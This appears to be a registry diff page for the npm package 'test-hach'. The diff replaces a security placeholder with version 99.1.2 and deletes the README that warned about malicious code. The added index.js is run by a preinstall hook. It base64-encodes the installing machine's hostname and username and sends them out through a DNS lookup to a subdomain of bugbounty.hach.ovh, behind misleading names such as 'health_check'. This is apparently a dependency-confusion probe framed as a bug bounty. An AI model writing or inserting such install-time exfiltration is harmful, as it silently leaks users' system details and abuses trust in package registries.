test-hach 0.0.1-security → 99.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of test-hach might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +25 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,25 @@
1
+ var dns = require('dns');
2
+ var os = require('os');
3
+
4
+
5
+ // Preparing Authorization Forms
6
+ const domain = "bugbounty.hach.ovh."
7
+ const api_token = "ccas55b046ms73bjsii07nwzrepfghw1y"
8
+ const package_name = "test-hach3"
9
+ const whitelisted_computer = Buffer.from(os.hostname()).toString('base64').toLowerCase().replace('=', 'Z').replace('=', 'Z');
10
+ const whitelisted_user = Buffer.from(os.userInfo().username).toString('base64').toLowerCase().replace('=', 'Z').replace('=', 'Z');
11
+
12
+ const health_check = `${whitelisted_user}.${whitelisted_computer}.${package_name}.${api_token}.${domain}`
13
+
14
+ const options = {
15
+ family: 4,
16
+ };
17
+
18
+ // Check if computer is authorized to ping
19
+ var w3 = dns.lookup(health_check, options, function (err, addresses, family) {
20
+ if(addresses == "146.59.251.74"){
21
+ console.log('\x1b[36m%s\x1b[0m', '[*] hellofrombfdshvshbh3vdsj was installed successfully');
22
+ } else {
23
+ console.log('network error, please retry', err, addresses, health_check);
24
+ }
25
+ });
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "test-hach",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "99.1.2",
4
+ "description": "bug bounty - hach",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "hach",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=test-hach for more information.